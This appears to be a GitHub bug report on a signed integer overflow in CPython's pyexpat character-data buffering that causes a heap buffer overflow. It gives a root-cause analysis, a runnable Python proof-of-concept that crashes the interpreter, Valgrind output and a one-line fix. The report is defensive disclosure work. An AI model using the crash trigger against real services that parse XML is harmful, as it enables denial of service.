scovetta · GitHub

Bug report

Bug description:

Summary

A signed integer overflow in Modules/pyexpat.c allows an attacker to write up to 1 MB of attacker-controlled data past the end of a heap-allocated buffer. The overflow is triggered by parsing an XML document containing more than 2 GB of character data within a single element while buffer_text is enabled (which defaults to False), buffer_size is set to a large value (~INT_MAX), and a non-None CharacterDataHandler is installed.

This combination of pre-requisites are expected to be rare in practice.

Details

The function my_CharacterDataHandler (line 384) accumulates XML character data in a heap buffer when buffer_text is enabled and a non-None CharacterDataHandler has been installed. Before appending, it checks whether the buffer has room:

// Modules/pyexpat.c, lines 394-411
if ((self->buffer_used + len) > self->buffer_size) {   // line 395
    if (flush_character_buffer(self) < 0)
        return;
    if (!have_handler(self, CharacterData))
        return;
}
if (len > self->buffer_size) {                          // line 404
    call_character_handler(self, data, len);
    self->buffer_used = 0;
}
else {
    memcpy(self->buffer + self->buffer_used,            // line 409
           data, len * sizeof(XML_Char));
    self->buffer_used += len;                           // line 411
}

All three variables — buffer_used, len, and buffer_size — are declared as int (32-bit signed). The buffer_size property setter (line 1736) allows values up to INT_MAX (2,147,483,647).

When buffer_used approaches INT_MAX, the addition buffer_used + len on line 395 can overflow the signed 32-bit integer, wrapping to a large negative value. Since a negative value is never greater than the positive buffer_size, the flush check evaluates to false, and the code falls through to the memcpy on line 409. This memcpy writes len bytes starting at offset buffer_used in a buffer of buffer_size bytes — writing past the end of the allocation.

Why buffer_used can reach INT_MAX

The Python-level Parse() method (line 876) splits large input into 1 MiB chunks and calls XML_Parse() for each one:

while (slen > MAX_CHUNK_SIZE) {
    rc = XML_Parse(self->itself, s, MAX_CHUNK_SIZE, 0);
    ...
    s += MAX_CHUNK_SIZE;
    slen -= MAX_CHUNK_SIZE;
}

For each chunk of contiguous character data, expat calls my_CharacterDataHandler with up to 1 MiB at a time. The character data buffer is not flushed between iterations of this loop. It is only flushed when Parse() returns (line 792) or when a non-character-data event occurs (element start/end, etc.). Therefore, buffer_used accumulates across the internal 1 MiB chunks for the duration of a single Parse() call, and can reach arbitrarily large values.

With buffer_size set to INT_MAX and more than 2 GiB of character data in a single Parse() call:

Internal chunk buffer_used before buffer_used + len (true value) Fits in int? Result
0 0 1,048,573 Yes Accumulate
1 1,048,573 2,097,149 Yes Accumulate
... ... ... Yes Accumulate
2,047 2,146,435,069 2,147,483,645 Yes Accumulate
2,048 2,147,483,645 2,148,532,221 No — overflows to −2,146,435,075 Flush bypassed, heap overflow

At chunk 2,048: buffer_used is 2,147,483,645. Adding len = 1,048,576 gives the true sum 2,148,532,221, which overflows a signed 32-bit integer to −2,146,435,075. Since −2,146,435,075 is not greater than buffer_size (2,147,483,647), the flush is skipped. The memcpy writes 1,048,576 bytes starting at offset 2,147,483,645 in a buffer of 2,147,483,647 bytes, overflowing by 1,048,574 bytes.

Proof of Concept: Crash (Denial of Service)

Minimal script that installs a no-op CharacterDataHandler, triggers the heap buffer overflow, and crashes with SIGSEGV. Requires ~6 GiB of RAM (2 GiB for the character data buffer, ~2 GiB for the XML byte string, plus overhead).

"""
pyexpat heap buffer overflow — crash PoC

Triggers a signed integer overflow in my_CharacterDataHandler() that
bypasses the buffer flush check, causing memcpy to write past the end
of a 2 GiB heap buffer. The process crashes with SIGSEGV.

Tested on: CPython 3.15.0a5+ (commit 0e7c06a8), Linux x86_64
Expected output:
    Segmentation fault
"""
import xml.parsers.expat
INT_MAX = 2**31 - 1
MAX_CHUNK_SIZE = 1 << 20  # 1 MiB, matches pyexpat.c
p = xml.parsers.expat.ParserCreate()
p.buffer_text = True
p.buffer_size = INT_MAX  # allocate a ~2 GiB character data buffer
def handler(data):
    pass
p.CharacterDataHandler = handler
# Character data size must be large enough that buffer_used reaches ~INT_MAX
# within a single Parse() call. The <r> tag consumes 3 bytes of the first
# 1 MiB chunk, so buffer_used = 1,048,573 after chunk 0, then increases by
# 1,048,576 per chunk. Overflow occurs at chunk 2,049.
N = 2049 * MAX_CHUNK_SIZE - 3  # 2,148,532,221 bytes of character data
xml_data = b"<r>" + b"A" * N + b"</r>"
p.Parse(xml_data, True)  # crashes here with SIGSEGV

Verification (Valgrind)

The text below shows Valgrind detecting an out-of-bounds write ("Invalid write of size 1"):

$ valgrind --tool=memcheck ./python ../../poc-1.py
==19948== Memcheck, a memory error detector
==19948== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al.
==19948== Using Valgrind-3.22.0 and LibVEX; rerun with -h for copyright info
==19948== Command: ./python ../../poc-1.py
==19948==
==19948== Warning: set address range perms: large range [0x59c93040, 0xd9c9303f) (undefined)
==19948== Warning: set address range perms: large range [0xd9c94040, 0x159e94060) (undefined)
==19948== Warning: set address range perms: large range [0x159e95040, 0x1da095063) (undefined)
==19948== Warning: set address range perms: large range [0xd9c94028, 0x159e94078) (noaccess)
==19948== Warning: set address range perms: large range [0x1da096040, 0x25a296067) (undefined)
==19948== Warning: set address range perms: large range [0x159e95028, 0x1da09507b) (noaccess)
==19948== Invalid write of size 1
==19948==    at 0x4852EE3: memmove (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==19948==    by 0x51C88AA: memcpy (string_fortified.h:29)
==19948==    by 0x51C88AA: my_CharacterDataHandler (pyexpat.c:409)
==19948==    by 0x51C88AA: my_CharacterDataHandler (pyexpat.c:385)
==19948==    by 0x51D445D: doContent (xmlparse.c:3747)
==19948==    by 0x51D58FA: contentProcessor (xmlparse.c:3179)
==19948==    by 0x51C9ADE: callProcessor.constprop.0 (xmlparse.c:1293)
==19948==    by 0x51CFBB7: PyExpat_XML_ParseBuffer (xmlparse.c:2494)
==19948==    by 0x51C7D96: pyexpat_xmlparser_Parse_impl (pyexpat.c:877)
==19948==    by 0x51C7D96: pyexpat_xmlparser_Parse (pyexpat.c.h:109)
==19948==    by 0x214063: _PyObject_VectorcallTstate (pycore_call.h:136)
==19948==    by 0x214063: PyObject_Vectorcall (call.c:327)
==19948==    by 0x386C33: _Py_VectorCallInstrumentation_StackRefSteal (ceval.c:762)
==19948==    by 0x1A67C9: _PyEval_EvalFrameDefault (generated_cases.c.h:1809)
==19948==    by 0x38B9B5: _PyEval_EvalFrame (pycore_ceval.h:118)
==19948==    by 0x38B9B5: _PyEval_Vector (ceval.c:2125)
==19948==    by 0x38B9B5: PyEval_EvalCode (ceval.c:673)
==19948==    by 0x404A6C: run_eval_code_obj (pythonrun.c:1366)
==19948==    by 0x404A6C: run_mod (pythonrun.c:1469)
==19948==  Address 0xd9c9303f is 0 bytes after a block of size 2,147,483,647 alloc'd
==19948==    at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==19948==    by 0x2AAB9F: PyMem_RawMalloc (obmalloc.c:1112)
==19948==    by 0x2AAB9F: _PyObject_Malloc (obmalloc.c:2445)
==19948==    by 0x51C6D85: xmlparse_buffer_size_setter (pyexpat.c:1751)
==19948==    by 0x28F50D: _PyObject_GenericSetAttrWithDict (object.c:2012)
==19948==    by 0x28F50D: PyObject_GenericSetAttr (object.c:2083)
==19948==    by 0x28C1EC: PyObject_SetAttr (object.c:1528)
==19948==    by 0x1AADCF: _PyEval_EvalFrameDefault (generated_cases.c.h:10827)
==19948==    by 0x38B9B5: _PyEval_EvalFrame (pycore_ceval.h:118)
==19948==    by 0x38B9B5: _PyEval_Vector (ceval.c:2125)
==19948==    by 0x38B9B5: PyEval_EvalCode (ceval.c:673)
==19948==    by 0x404A6C: run_eval_code_obj (pythonrun.c:1366)
==19948==    by 0x404A6C: run_mod (pythonrun.c:1469)
==19948==    by 0x406BEA: pyrun_file (pythonrun.c:1294)
==19948==    by 0x406BEA: _PyRun_SimpleFileObject (pythonrun.c:518)
==19948==    by 0x4071EF: _PyRun_AnyFileObject (pythonrun.c:81)
==19948==    by 0x433928: pymain_run_file_obj (main.c:410)
==19948==    by 0x433928: pymain_run_file (main.c:429)
==19948==    by 0x433928: pymain_run_python.constprop.0 (main.c:691)
==19948==    by 0x434027: Py_RunMain (main.c:772)
==19948==    by 0x434027: pymain_main (main.c:802)
==19948==    by 0x434027: Py_BytesMain (main.c:826)
==19948==
==19948==
==19948== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==19948==  Access not within mapped region at address 0xD9C94000
==19948==    at 0x4852EE3: memmove (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==19948==    by 0x51C88AA: memcpy (string_fortified.h:29)
==19948==    by 0x51C88AA: my_CharacterDataHandler (pyexpat.c:409)
==19948==    by 0x51C88AA: my_CharacterDataHandler (pyexpat.c:385)
==19948==    by 0x51D445D: doContent (xmlparse.c:3747)
==19948==    by 0x51D58FA: contentProcessor (xmlparse.c:3179)
==19948==    by 0x51C9ADE: callProcessor.constprop.0 (xmlparse.c:1293)
==19948==    by 0x51CFBB7: PyExpat_XML_ParseBuffer (xmlparse.c:2494)
==19948==    by 0x51C7D96: pyexpat_xmlparser_Parse_impl (pyexpat.c:877)
==19948==    by 0x51C7D96: pyexpat_xmlparser_Parse (pyexpat.c.h:109)
==19948==    by 0x214063: _PyObject_VectorcallTstate (pycore_call.h:136)
==19948==    by 0x214063: PyObject_Vectorcall (call.c:327)
==19948==    by 0x386C33: _Py_VectorCallInstrumentation_StackRefSteal (ceval.c:762)
==19948==    by 0x1A67C9: _PyEval_EvalFrameDefault (generated_cases.c.h:1809)
==19948==    by 0x38B9B5: _PyEval_EvalFrame (pycore_ceval.h:118)
==19948==    by 0x38B9B5: _PyEval_Vector (ceval.c:2125)
==19948==    by 0x38B9B5: PyEval_EvalCode (ceval.c:673)
==19948==    by 0x404A6C: run_eval_code_obj (pythonrun.c:1366)
==19948==    by 0x404A6C: run_mod (pythonrun.c:1469)
==19948==  If you believe this happened as a result of a stack
==19948==  overflow in your program's main thread (unlikely but
==19948==  possible), you can try to increase the size of the
==19948==  main thread stack using the --main-stacksize= flag.
==19948==  The main thread stack size used in this run was 8388608.
==19948==
==19948== HEAP SUMMARY:
==19948==     in use at exit: 4,300,675,792 bytes in 1,665 blocks
==19948==   total heap usage: 2,637 allocs, 972 frees, 8,602,921,488 bytes allocated
==19948==
==19948== LEAK SUMMARY:
==19948==    definitely lost: 0 bytes in 0 blocks
==19948==    indirectly lost: 0 bytes in 0 blocks
==19948==      possibly lost: 0 bytes in 0 blocks
==19948==    still reachable: 4,300,675,792 bytes in 1,665 blocks
==19948==                       of which reachable via heuristic:
==19948==                         length64           : 4,212 bytes in 5 blocks
==19948==         suppressed: 0 bytes in 0 blocks
==19948== Rerun with --leak-check=full to see details of leaked memory
==19948==
==19948== For lists of detected and suppressed errors, rerun with: -s
==19948== ERROR SUMMARY: 4034 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault (core dumped)

Suggested Fix

Replace the overflow-prone addition with a subtraction that cannot underflow. Since buffer_used <= buffer_size is a maintained invariant (the buffer is flushed whenever it would exceed buffer_size, and both values are non-negative), the expression buffer_size - buffer_used is always non-negative and cannot underflow.

index e9255038eee..99baf008700 100644
--- a/Modules/pyexpat.c
+++ b/Modules/pyexpat.c
@@ -392,7 +392,7 @@ my_CharacterDataHandler(void *userData, const XML_Char *data, int len)
     if (self->buffer == NULL)
         call_character_handler(self, data, len);
     else {
-        if ((self->buffer_used + len) > self->buffer_size) {
+        if (len > self->buffer_size - self->buffer_used) {
             if (flush_character_buffer(self) < 0)
                 return;
             /* handler might have changed; drop the rest on the floor

A more comprehensive fix would also change buffer_used and buffer_size from int to Py_ssize_t, eliminating the class of integer overflow entirely. However, since len comes from expat as int, and buffer_size is capped at INT_MAX by the setter, the single-line fix above is sufficient to close this specific vulnerability.

Impact: Denial of service (crash)

After the overflowing memcpy, buffer_used += len also overflows int to a large negative value. On the next character data callback, memcpy is called with self->buffer + negative_offset, which dereferences an address far below the buffer — causing a segmentation fault.

CPython versions tested on:

3.15

Operating systems tested on:

Linux

Linked PRs

Read the original on github.com ↗